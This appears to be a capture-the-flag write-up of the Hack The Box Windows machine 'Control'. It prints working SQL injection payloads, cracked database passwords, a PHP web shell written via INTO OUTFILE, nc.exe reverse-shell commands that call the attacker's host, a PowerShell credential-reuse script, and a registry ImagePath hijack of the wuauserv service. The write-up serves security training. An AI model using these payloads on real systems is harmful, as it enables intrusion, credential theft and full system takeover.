Introduction

Control is rated as a hard Windows box. It was released on 11/29/2019 and has been created by @TRX, a HTB moderator.

This box required us to perform the following tasks:

  • Enumerate a web server to find an internal IP address
  • Bypass the web server proxy to access a restricted administrator page
  • Dynamically add a new header using Burp Suite match and replace functionnality
  • Exploit a SQL injection to dump the database and upload a php backdoor
  • Leverage the Powershell history file which hints us towards the privilege escalation path
  • Examining the Windows registry for misconfigured services
  • Hijack a service ImagePath value in the Windows registry to gain a privilege access

Initial reconnaissance

Let’s do first a full nmap port scan using the following command:

NMAP explain shell

You can find the explanation about those nmap options on the explainshell.com website.

Basically, this scan is doing a TCP scan on all 65535 ports while trying to fingerprint the services behind the open ports. This scan is pretty aggressive as we specifies the T4 option.

Hereafter are the scan results:

Initial NMAP scan

The important part of the results are:

  • the nmap reverse DNS lookup was successful as the box resolved to the name: fidelity.htb
  • the presence of a IIS 10.0 web server on port 80/tcp
  • the potential presence of a MySQL database as the port 3306/tcp is often used to host this service.

Fingerprinting the database service

However I found it odd that nmap was not able to fingerprint the MySQL service, so I used another service fingerprinting tool: amap which often have better results:

Amap mysql

amap also failed to fingerprint the service, however in the hexdump of the response we can see that the server is erroring the following message: Host '10.10.14.8' is not allowed to connect to this MariaDB server. Therefore we can conclude that a MariaDB instance (which is an improved fork of MySQL) is indeed running on the target. However as the error message indicate, we won’t be able to access it directly.

Updating our /etc/hosts local file

Furthermore, as we have the hostname corresponding to our target IP, we can add it to our /etc/hosts file with the following command:

$ sudo echo "10.10.10.167	fidelity.htb" >> /etc/hosts

Note: a tab separator must be included between an IP and its hostname in the /etc/hosts file. One of the way to do so, is to use the shortcut Ctrl+v + tab in your command line, or to use the echo -e "\t" option.

We can now directly access the web server at the http://fidelity.htb address.

Looking at the website

First let us compare the response content length when requesting the web server directly and the virtual host to see if there is any differences:

Comparing length of the web server and the hostname

Instead of printing the raw web page response, this curl command redirects the output to /dev/null and outputs the total amount of bytes contained in the HTTP response received (i.e the Content-Length header field). As we can see, both are equals, meaning that the websites are probably similar, so let’s focus on http://fidelity.htb:

Website landing page

The first thing I did was to have a look at the page source code, and it was leaking some pretty neat information:

Website hints

On the above screenshot, we can note some interesting information:

  • the assets/js/functions.js which looks like a custom js file
  • the HTML comments: [...] Certificates location \\192.168.4.28\myfiles [...]

We also have the direct link to the various pages from this website:

  • index.php
  • about.php
  • admin.php

The most interesting page looks like admin.php, however when requesting it, we get the following error:

Website hints

This error can directly be correlated with the HTML comment seen in the source code of the main page leaking an internal IP address (i.e 192.168.4.28).

Bypassing the proxy

Administrative part of a web application are often only accessible from the internal corporate network. Therefore, if we add the X-Forwarded-For header to our request, we might be able to access the content of the protected page.


The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.

[…]

This header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information […]

Source: Mozilla

We can try to append this header to our request and see what the response is:

As the response content length is different, we can infer that we gained access to the admin.php by circumventing the web server proxy.

Creating the match and replace rule

Now to access the page with our browser, we can add a match and replace rule through Burp Suite that will automatically add the X-Forwarded-For header which will allow us to access the admin.php and potentially further administrative parts.

To create this rule, we need to go to the Proxy tab and then on the Options tab where we can find the Match and Replace section. Then we just need to Add the new rule as shown below:

Burp match and replace

Then, while interecepting requests to the website through Burp Suite, we can see that the header is automatically added and that we gained access to the admin part:

On this panel, we can see several functionnalities:

  • Find product
  • View/Update/Delete the latests products
  • Create a product
  • View/Update/Delete/Create a category

Basically those are all CRUD (Create, Replace, Update, Delete) operations which are typical of a database. Could it be a potential SQL injection hint?

SQL injection

Finding the injection

To find a potential SQLi, the first step is to simply input the ' character in the different fields that are submitted server side. On the first try, while sending this payload in the Find product field, we successfully triggered an error on the Database:

Payload through burp:

You might be wondering what are the <@urlencode_0><@/urlencode_0> tags surrounding the payload in the productName POST request parameter. This is generated by a Burp Suite plugin called HackVertor which I highly recommend using. In our case, it will automatically URL encode the payload surrounded by these tags, thus easing the exploitation process as we do not need to encode it each time manually or by using the ctrl+u shortcut.

Determining the number of columns

We need to determine the type of SQL injection we have, to do that, I am first goning to try the most common one: the Union-Based SQLi:

In the above screenshot we see a verbose error telling us that our SELECT statement does not contain the required number of columns. Therefore, we can simply increase the number of columns in our payload until we trigger a different comportement from the database:

Eventually, we see that the current database table has 6 columns:

Payload used Output
' UNION SELECT null;-- - “[…] The used SELECT statements have diffrent number of columns”
' UNION SELECT "null","null","null","null","null","null";-- - “[…] General Error”

By replacing the null statement in our payload with a random string, here injection, we can see where the database is going to output the results within the HTML page:

We can now fingerprint the version of the MariaDB server using the available version() function in our SELECT statement:

Command breakdown:

We use curl to request the http://fidelity.htb/search_products.php page with the following options:

  • -s run curl silently (i.e without outputting information related to the page download)
  • -H add a custom header to the HTTP request
  • -d POST parameters (therefore induces a HTTP POST request)

Then we filter the output using grep and a perl regular expression to only output the matched regex. Here we are only looking for the database version, so we can grep on the MariaDB term as we know it will be present in the response body (more detailed about this command on explainshell.com)

So the version of the MariaDB server is 10.4.8.

Extracting database information

As we saw that there is indeed a Union-Based SQL injection on the MariaDB database, we can try recovering the different databases name and tables using the following payload: ' UNION SELECT table_schema, table_name, 3,4,5,6 FROM information_schema.tables;-- -.

The output within Burp Suite is pretty daunting, therefore we can visualize the result in our browser:

The relevant part of information is at the bottom of the page:

Here we can see that we have the following database.table structure:

  • mysql.user
  • warehouse.product
  • warehouse.product_category
  • warehouse.product_pack

The warehouse database does not look really interesting, therefore let us try to dump the mysql.user table.

Dumping the mysql.user table

mysql.user is a default table present on all MariaDB/MySQL installation and therefore its structure is publicly available. The interesting fields are the following:

  • Host
  • User
  • Password

We can proceed with our injection to extract these information using the following payload: ' UNION SELECT host, user, password,4,5,6 FROM mysql.user;-- - that we can send through Burp Suite:

And we can display the response in the browser, which is way more user friendly:

This worked flawlessly and we were able to recover the following credentials for the MariaDB server:

  • root:*0A4A5CAD344718DC418035A1F4D292BA603134D8
  • manager:*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
  • hector:*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

The password is hashed using the PASSWORD() SQL function and as explicitely stated in the MariaDB documentation, “The return value is 41-bytes in length, and the first character is always *.”

Using the hashid tool we can verify the type of this hash:

Identifying the mariadb hash

Cracking the hashes

We can create a file containing our MariaDB hashes, prepend them with the username associated and also remove the * character from each hash as we do not need this prefix to use hashcat with their format. Then we will be able to pass this as an input file to hashcat while specifying the --username options, indicating to hashcat that the first part of each line (separated by a semi-colon) is a username and therefore must be ignored while processing the file.

The hashcat format of MySQL hashes is 300 has seen in the following output: hashcat format

We can use a dictionnary attack using the famous rockyou wordlist and also add a set of rules which will modify our initial wordlist. I like to use the d3ad0ne.rule file as I find it very effective.

Initially, I launched hashcat withouth the rule file as it considerably increase the time to crack hashes and could recover hector‘s password:

hashcat format

Then I added the d3ad0nerule and could recover the password for the manager account:

hashcat format

Alternatively, the crackstation website had already cracked them:

But it is always good to learn how to use the tool we have :)

So, now we have a set of two credentials:

  • hector:l33th4x0rhector
  • manager:l3tm3!n

Uploading a web shell through the SQLi

Now that we have cracked the MariaDB users hashes, we can go further with our exploitation and try to write a custom php file to server’s webroot through the SQL injection.

This box being a Windows box hosting a IIS server, there is a great chance that the webroot is located in the common C:\inetpub\wwwroot folder. Furthermore, we know that the web server supports php as seen in the page admin.php, search_products.php, etc. So if we can upload a php file to its webroot, we will be able to gain code execution as the user running the IIS web server.

MySQL/MariaDB has a built in function allowing us to write arbitraty content to a file on the filesystem using the INTO OUTFILE directive. Therefore, we can simply create a file with embedded php code which will run system command through the SELECT statement and upload it to the webroot.

The payload is the following: ' UNION SELECT "<?php $output = shell_exec($_REQUEST['cmd']); print \"<pre>\".$output.\"</pre>\"; ?>",NULL,NULL,NULL,NULL,NULL INTO OUTFILE "C:\\inetpub\\wwwroot\\onemask_cmd.php";-- - .

For more clarity, the really simple php code is the following:

/*
* 	Content of C:/inetpub/wwwroot/onemask_cmd.php
*/
<?php
	$output = shell_exec($_REQUEST['cmd']);	// The REQUEST function takes both GET and POST parameter 
	print "<pre>" . $output . "</pre>";		// it outputs the command result
?>

Furthermore, as the backslash character is used to escape the character that directly follows it, we need to use two of them to escape the backslash itself. Windows OS indeed use this character in its path convention. Therefore we end up with the following output path for our uploaded file: C:\inetpub\wwwroot\onemask_cmd.php

Upon sending our payload through Burp Suite, we can see that the query was successful as no other error message (besides the Error: SQLSTATE[HY000]: General error one) appared:

Let’s now try to trigger our backdoor:

PoC PHP backdoor

We successfully uploaded a php backdoor to the webroot of the box and as seen in the previous output, we are running command as the nt authority\iusr user.

Grabing a reverse shell

We can now execute abitrary code to the target. Therefore, we can try to grab a reverse shell as the nt authority\iusr user.

To do so, I will start a samba share on my attacking machine which will host the nc.exe executable. I will query it directly from the target box through my php backdoor and I will have a reverse shell without having to upload an executable on the target disk:

Samba configuration

$ cat /etc/samba/smb.conf 
---snipped---
[share]
path = "/tmp/share"
public = yes
writable = yes
guest ok = yes
# The following directives allow a guest account to write to the share
# which will be useful for exfiltrating data  
create mask = 0777 		
directory mask = 0777 	
force user = root 		

We then start our samba service using: sudo service smbd start, and can verify that the service is indeed running:

Sending our payload

Then we can run the following command: curl -d 'cmd=\\10.10.14.18\share\nc.exe 10.10.14.18 9001 -e powershell' http://fidelity.htb/onemask_cmd.php while listening on our attacking machine with netcat. I am also using rlwrap to have an improved interactive shell on Windows boxes which enables the usage of the directionnal arrows (access to commands history and command edition):

Lateral movement as Hector (password reuse)

Now that we have a shell on the box as the iusr user, we can try to perform lateral movement.

If we run net users on the box, we see that Hector as a user account. As we previously recovered his MariaDB password through the SQL injection, we can try to reuse its password for his user account and therefore impersonate him:

We can use the following powershell scriplet to send us back a reverse shell as Hector:

$username = 'WORKGROUP\Hector';
$password = 'l33th4x0rhector';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username,$securePassword;
$sess = New-PSSession -Credential $credential;
Invoke-Command -Session $sess -Script { \\\\10.10.14.18\\share\nc.exe 10.10.14.18 9002 -e powershell.exe }

The above commands use the Invoke-Command powershell function and passes as argument the $sess variable containing Hector’s credentials. Then we remotely run the nc.exe to grab a reverse shell.

Privilege escalation

The two tools that I always use when landing in a Windows box are (WinPEAS and PowerUp. WinPEAS is automatically performing all the checks described on the book.hacktricks.xyz website and combining those two gives us a nice overview of what can be done to perform privilege escalation.

Eventually, while running those checks, I ended up on finding interesting permissions (ACL - Access Control Lists) in the Windows Registry that stored information about Windows Services.

We also have a nice hint for this privilege escalation in the C:/Users/Hector/AppData/Roaming/Microsoft/Windows/PSReadLine/ConsoleHost_history.txt file:

Basically, we are looking for a service owned by the nt authority\system user on which we (i.e the Hector user) have full or partial control on. Thus, enabling us to overwrite the service binary path (the registry ImagePath value) with a custom one (i.e pointing to a malicious binary) to upgrade our privileges as nt authority\system.

A nice explanation can be found on the pentestlab.blog website.

Windows Service Registry

“The HKLM\SYSTEM\CurrentControlSet\Services registry tree stores information about each service on the system.

Source: Microsoft documentation

We can enumerate the different Windows Service by using Powershell, as described in the official Microsoft documentation, and list the ACL (permissions) with the Get-ACL function to check which services can be edited by our user:

Get-Acl HKLM:\System\CurrentControlSet\services\* | Format-List | findstr /i "Path Hector FullControl"

The output is really huge (more than 500 entries) so we need to filter those entry to the services that are really existing on the box. Indeed, when we try to get information for the services outputs using the Get-Service function, often an error is returned indicating that the service does not exist. Let’s try to filter out from our selected few in the previous output:

Great, we found that the wuauserv corresponding to the Windows Update service does indeed exit and is currently stopped on the box. As we have full control on its registry entry, we can try to hijack its ImagePath value.

First, I will upload nc.exe (netcat for Windows) to the target box (I use the C:/Windows/System32/spool/drivers/color as my temporary folder for dropping my utils when working on a box to avoid polluting the box for others, and potentially bypass Windows AppLocker).

As we have a Samba share open (and as we already are hosting nc.exe in the shared folder), we can simply copy nc.exe to the box:

Now we can hijack the ImagePath registry value with our netcat reverse shell payload:

reg add HKLM\SYSTEM\CurrentControlSet\services\wuauserv /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.18 9003 -e powershell" /f

We confirm that the modification has been successful by requesting the service and its details:

Now we just need to start it while listenning on our attacking host on the port set in our previous payload:

Note: We could have also grabbed our reverse root shell while indicating a remote UNC path to the ImagePath of the service wuauserv with the following command: reg add HKLM\SYSTEM\CurrentControlSet\services\wuauserv /v ImagePath /t REG_EXPAND_SZ /d "\\10.10.14.18\share\nc.exe 10.10.14.18 9010 -e powershell" /f , as we did to grab our intial shell as the iusr user :).

And there we go, we have rooted the box!

/root dance

 _____________
< /root dance >
 -------------
   \
 ___###
   /oo\ |||
   \  / \|/
   /""\  I
()|    |(I)
   \  /  I
  /""""\ I
 |      |I
 |      |I
  \____/ I

Recomended readings